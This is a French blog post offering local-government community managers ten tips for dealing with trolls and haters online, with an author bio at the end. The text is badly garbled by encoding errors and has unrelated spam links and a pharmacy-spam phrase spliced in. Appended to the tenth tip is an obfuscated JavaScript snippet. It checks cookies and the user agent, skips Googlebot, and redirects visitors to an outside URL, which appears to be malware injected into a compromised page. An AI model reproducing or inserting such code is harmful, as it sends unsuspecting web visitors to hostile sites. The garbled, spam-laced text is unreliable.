10 conseils pour avoir raison des trolls et haters

A mesure que les collectivitAi??s se lancent sur les mAi??dias sociaux, community managers et autres communicants doivent faire face Ai?? ces Ai??tranges A?tres bien connus des adeptes des blogs et forums… les trolls et autres « haters » puisque nuance il y a entre ces deux sous-catAi??gories dai??i??emm**** professionnels

http://odangokakumei.com/archives/491

On peut en effet distinguer deux catAi??gories chez les critiqueurs systAi??matiques : le troll et le hater. Le troll agit avec le but de « pourrir » votre discussion par tous les moyens possibles, en suscitant lai??i??invective si possible, quand le « hater » sai??i??est donnAi?? pour mission dai??i??expliquer Ai?? la terre entiA?re que quoi que vous disiez ou fassiez… vous A?tes nul, et mA?me au-delAi??.
Comment reconnaAi??tre un citoyen critique dai??i??un hater ou dai??i??un troll ? A vrai dire, Ai?? lai??i??usage cela se fait trA?s vite…et certains comportements ne trompent pas.

 

« Il est aussi un expert universel, le seul dans cette ville Ai?? sai??i??y connaAi??tre en culture-Ai??ducation-voirie-circulation-hygiA?ne-sport-tourisme-dAi??veloppement Ai??conomique »

http://indexgraf2.com/?p=36045
Quoi que fasse phentermine in canadian pharmacy ou dise votre collectivitAi??, pour le « hater », cai??i??Ai??tait forcAi??ment mieux avant. Et  » pis tout Ai??a cai??i??est avec nos impA?ts.  » Il a toujours des idAi??es lumineuses quai??i??il appelle « leAi??bon sens » et dont vous (« les dAi??cideurs ») A?tes forcAi??ment dAi??pourvus. « Bien oui, franchement, au lieu de dAi??penser des milliards dai??i??euros (ah oui, le troll et le hater ont Ai??galement le sens de la mesure) pour un festival de musique pour bobos, on ferait mieux de donner de lai??i??argent aux chA?meurs, non ? »
Il est aussi un expert universel. A ses yeux, il est le seul dans cette ville Ai?? sai??i??y connaAi??tre un tant soit peu en culture-Ai??ducation-voirie-circulation-hygiA?ne-sport-tourisme-dAi??veloppement Ai??conomique (ne rayez pas les mentions inutiles, car pour lui il nai??i??y en a pas), en tout cas mieux que ces incapables dai??i??Ai??lus et de fonctionnaires.
Il est aussi un adepte, que dis-je, un expert du hors sujet. Dai??i??ailleurs, pour lui ce nai??i??est pas du hors sujet, puisque de sujets il nai??i??en existe que deux : la nullitAi?? affligeante des services et la malhonnA?tetAi?? des Ai??lus, quai??i??il est dai??i??ailleurs le seul Ai?? avoir le courage de dAi??noncer.
Ainsi, ses rAi??actions peuvent parfois vous paraAi??tre Ai??tranges ou dAi??placAi??es… Exemples : vous annoncez lai??i??ouverture dai??i??une nouvelle salle de concert : « Ah au fait, ces voitures mal garAi??es, cai??i??est vraiment un scandale. Que des nuls Ai?? la police municipale ! » ; Vous expliquez les nouvelles rA?gles de ramassage des ordures : « Lamentable, le nouveau revA?tement des rues piAi??tonnes, on nai??i??arrA?te pas de glisser… » ; Vous installez un systA?me de vAi??los en libre service : « Cai??i??est sAi??r, si le marchAi?? de la nouvelle salle de concert (ah, tiens, il revient sur ce sujet…) a Ai??tAi?? attribuAi?? Ai?? ces entreprises, cai??i??est que le maire a touchAi?? des pots de vin. Je le sais, jai??i??ai un cousin bien placAi?? dans le mAi??tier, on me la fait pas Ai?? moi !  »

 

http://autoczescikielce.com.pl/?p=35161
Bref, le troll vet le hater sont de vraies plaies, des fardeaux qui ont le don dai??i??Ai??nerver prodigieusement les communicants, mais aussi dai??i??inquiAi??ter les Ai??lus, et quai??i??il faut donc arriver Ai?? gAi??rer et Ai?? neutraliser. Voici 10 conseils qui permettent le plus souvent (mais pas toujours) dai??i??Ai??viter dai??i??en arriver au bannissement de lai??i??inopportun…

1. Ne pas fuir la critique
Le  » simple  » citoyen critique qui estimerait ne pas trouver sur votre page ou compte un endroit dai??i??expression, dai??i??Ai??coute et de rAi??ponse, ou qui serait blessAi?? par vos rAi??actions trop vives peut vite se muer en « hater »… Pour Ai??viter de gAi??nAi??rer vous-mA?me vos propres « monstres », nai??i??ayez pas peur dai??i??affronter la critique ou dai??i??admettre des erreurs. Ne niez pas le ressenti de lai??i??autre, mA?me sai??i??il vous semble excessif. TrollsAi??et haters sont comme les champignons qui prolifA?rent le plus souvent en milieu clos : ouvrez les fenA?tres, ouvrez- vous au dialogue et Ai?? la critique, et ils auront moins envie de sai??i??installer chez vous.

2. CrAi??ez une atmosphA?re hostile au troll

Si vous arrivez Ai?? faire de votreAi??page ou compte un rAi??el espace dai??i??Ai??changes, vivant, ouvert et libre, la communautAi??, quoi quai??i??elle pense de vous, de lai??i??institution ou de lai??i??exAi??cutif dAi??fendra « son » espace et se chargera le plus souvent de signifier aux trolls quai??i??ils ne sont pas « dans le ton ». Ainsi, lai??i??ambiance que vous aurez su crAi??er agira comme repoussoir.

3. GAi??rez aussi les fans trop… fans

Lai??i??effet « service commandAi?? » est largement aussi nuisible que lai??i??effet « hater » et a le don dai??i??exciter les passions et les excA?s inverses.

4. Dotez-vous dai??i??une charte de modAi??ration claire
Afin de vous prAi??munir contre les attaques personnelles et les insultes bien sAi??r, mais aussi contre les faux profils et le hors sujet. Cette charte vous servira de support pour agir plus fermement. Vous pouvez Ai??galement la rappeler rAi??guliA?rement afin de ne pas sembler la sortir de votre chapeau au moment critique.

5. Prenez du recul
Le phAi??nomA?ne des trolls et haters est dAi??sormais connu des internautes, et donc de vos contacts, qui sauront le plus souvent les reconnaAi??tre dai??i??eux-mA?mes. Faites confiance en la capacitAi?? de jugement et deAi??discernement des internautes.

6. Gardez votre calme
La rAi??action Ai??pidermique est la raison dai??i??A?tre du troll, qui sai??i??en nourrit, et la mAi??daille accrochAi??e sur la poitrine du hater, qui y voit la preuve quai??i??il a raison. Plus vous montrez votre Ai??nervement, plus vous les encouragez Ai?? continuer…
« Nai??i??oubliez pas quai??i??Ai?? travers les trolls, vous vous adressez surtout aux autres. »

7. Maniez lai??i??humour
Sur le web comme IRL, lai??i??humour a bien souvent le don de faire retomber la pression et de mettre les autres de votre cA?tAi??. Ne vous en privez pas… mA?me sai??i??il nai??i??est pas toujours facile de garder le sens de lai??i??humour face Ai?? la mauvaise foi !

8. Jouez la montre
Mais pas trop. Lors dai??i??une attaque de troll, laissez un dAi??lai dai??i??une heure ou deux pour voir si un internaute vient rAi??pondre et se charger du gA?neur Ai?? votre place… mais nai??i??attendez guA?re plus, au risque de voir la situation dAi??gAi??nAi??rer.
9. Ne pas sur-rAi??agir
En cas dai??i??attaque de hater, une rAi??ponse claire et argumentAi??e suffit, ensuite passez Ai?? autre chose. On dit souvent « Donai??i??t feed the troll », et cela vaut aussi pour le hater.

10. Voyez le bon cA?tAi?? de la situation
Ne perdez pas de vue que le dAi??nigrement voire la calomnie peuvent aussi vous A?tre utiles, en vous permettant dai??i??expliquer, de faire de la pAi??dagogie, de rAi??tablir des vAi??ritAi??s. Les excA?s des trolls et haters peuvent cacher dai??i??autres interrogations plus rAi??pandues. « Nai??i??oubliez pas quai??i??Ai?? travers les trolls, vous vous adressez surtout aux autres.var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Benjamin Teitgen

Ancien journaliste (presse locale + La Gazette des Communes), puis rédacteur en chef en presse hebdo régionale, puis collaborateur d’élu, je suis Directeur de la communication adjoint de la Ville de Besançon en charge de la communication digitale. Membre du comité de pilotage de Cap’Com. Auteur pour Blog Territorial et pour les éditions Territorial.